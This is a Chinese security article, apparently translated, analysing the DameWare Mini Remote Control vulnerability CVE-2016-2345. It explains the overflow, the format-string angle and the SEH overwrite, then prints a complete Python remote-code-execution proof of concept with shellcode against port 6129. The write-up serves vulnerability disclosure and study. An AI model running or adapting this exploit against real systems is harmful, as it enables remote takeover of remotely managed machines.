DameWare迷你远程遥控漏洞(CVE-2016-2345):让你玩转远程控制器

2016-04-26 239384人围观 ,发现 1 个不明物体 终端安全

remote-PC-control.jpg

在做安全评估的时候,我们常常会碰到一些允许管理员在网络上远程管理系统的软件。虽然很便利,但是各式各样的包导致远程访问系统存在着一些安全隐患。

在这篇文章中,我们将详细说一下在一个叫做DameWare迷你遥控的软件包里发现的漏洞CVE-2016-2345。

这个漏洞是我们在检查DWRCS服务中的信息解析函数时所发现的。由于应用程序使用了LoadString函数生成字符串常量,因此这个漏洞很不容易被发现。下图是漏洞的伪代码。

stack_2345.png

vuln_2345.png

在执行文件中的资源表里我们发现了一条ID为0×11的字符串,如下所示:   

The desktop user disconnected the session via the MRC Tray menu UserID: %s

(桌面用户通过MRCTray目录用户id断开会话:%s)

粗看这个漏洞的出现是由于0×210大小的dst_buf缓冲区发生了溢出。但实际上这个漏洞真正特殊的地方是栈帧的安装方式。格式字符串缓冲区被放在了wsprintf函数的缓冲区后面,这意味着当dst_buf溢出,我们就可以控制住格式字符串并随意添加标识符。因此这个bug已经不仅仅是一个简单的缓冲区溢出问题了,还可以被定义为一个能够泄露内存地址的格式字符串漏洞。

基于这点,我们开始通过这个漏洞测试获得对可执行文件的控制权。首先,我们先确认哪个内存保护已经被编译成二进制文件。在分析堆栈转储中,我们发现,二进制文件通过栈cookies来防止溢出栈返回的指针。于是我们使用了Corelan的mona.py脚本进行探测,结果并没有其他正在使用的内存保护。

mem_2345.png

尽管我们能利用这个漏洞通过二进制数据部分中默认的Cookie来解决栈的金丝雀值(canary),但由于这并没有启用SAFESEH,我们决定重写栈帧顶部的异常处理。不过实际过程中还是出了点小问题,于是最终我们重写了SEH链直接跳转到shellcode,然后发送一个有我们正在使用的协议的原始包以便应用到适当的处理功能。这是POC在6129端口遇上作为服务运行的DWRCS.exe时生成一个计算器的代码。

import socket
import sys
import os
import time
import struct
import binascii
import random
 
# windows/exec - 220 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process, 
# CMD=calc.exe
sc = ""
sc += "\xba\x01\xa8\x4f\x9e\xd9\xca\xd9\x74\x24\xf4\x5e\x29"
sc += "\xc9\xb1\x31\x31\x56\x13\x03\x56\x13\x83\xee\xfd\x4a"
sc += "\xba\x62\x15\x08\x45\x9b\xe5\x6d\xcf\x7e\xd4\xad\xab"
sc += "\x0b\x46\x1e\xbf\x5e\x6a\xd5\xed\x4a\xf9\x9b\x39\x7c"
sc += "\x4a\x11\x1c\xb3\x4b\x0a\x5c\xd2\xcf\x51\xb1\x34\xee"
sc += "\x99\xc4\x35\x37\xc7\x25\x67\xe0\x83\x98\x98\x85\xde"
sc += "\x20\x12\xd5\xcf\x20\xc7\xad\xee\x01\x56\xa6\xa8\x81"
sc += "\x58\x6b\xc1\x8b\x42\x68\xec\x42\xf8\x5a\x9a\x54\x28"
sc += "\x93\x63\xfa\x15\x1c\x96\x02\x51\x9a\x49\x71\xab\xd9"
sc += "\xf4\x82\x68\xa0\x22\x06\x6b\x02\xa0\xb0\x57\xb3\x65"
sc += "\x26\x13\xbf\xc2\x2c\x7b\xa3\xd5\xe1\xf7\xdf\x5e\x04"
sc += "\xd8\x56\x24\x23\xfc\x33\xfe\x4a\xa5\x99\x51\x72\xb5"
sc += "\x42\x0d\xd6\xbd\x6e\x5a\x6b\x9c\xe4\x9d\xf9\x9a\x4a"
sc += "\x9d\x01\xa5\xfa\xf6\x30\x2e\x95\x81\xcc\xe5\xd2\x7e"
sc += "\x87\xa4\x72\x17\x4e\x3d\xc7\x7a\x71\xeb\x0b\x83\xf2"
sc += "\x1e\xf3\x70\xea\x6a\xf6\x3d\xac\x87\x8a\x2e\x59\xa8"
sc += "\x39\x4e\x48\xcb\xdc\xdc\x10\x22\x7b\x65\xb2\x3a"
 
port = 6129
 
if len (sys.argv) == 2:
 (progname, host ) = sys.argv
else:
 print len (sys.argv)
 print 'Usage: {0} host'.format (sys.argv[0])
 exit (1) 
  
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )
 
type = 444.0
buf = struct.pack("I", 4400 ) #Init Version
buf += "\xcc"*4
buf += struct.pack("d", type) #Minor Version
buf += struct.pack("d", type) #Minor Version
buf += (40 - len(buf)) * "C"
csock.send(buf)
 
wstr = "\x90" * 0x10 #nop sled
wstr += sc #calc shellcode
wstr += "\x90" * (0x2ac - 0x10 - len(sc)) 
wstr += "\xeb\x06\xff\xff" #short jump forward
wstr += struct.pack("I", 0x00401161 ) #pop pop return gadget
wstr += "\x90" * 3 #nop
wstr += "\xe9\x6b\xfa\xff\xff" #short jump back to shellcode 
wstr += "E" * 0xbc
wstr += ("%" + "\x00" + "c" + "\x00")*5
 
buf = struct.pack("I", 0x9c44) #msg type
buf += wstr #payload
buf += "\x00" * (0x200) #null bytes
csock.send(buf)
 
print binascii.hexlify(csock.recv(0x4000)) #necessary reads
print binascii.hexlify(csock.recv(0x4000))
  
csock.close()

此漏洞自从发现后就一直由Solarwinds维护。如果你想获得更多关于漏洞的详细信息,请参阅咨询 ——>

*参考来源:securifera,FB小编江湖小吓编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

这些评论亮了

发表评论

已有 1 条评论

取消
Loading...

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php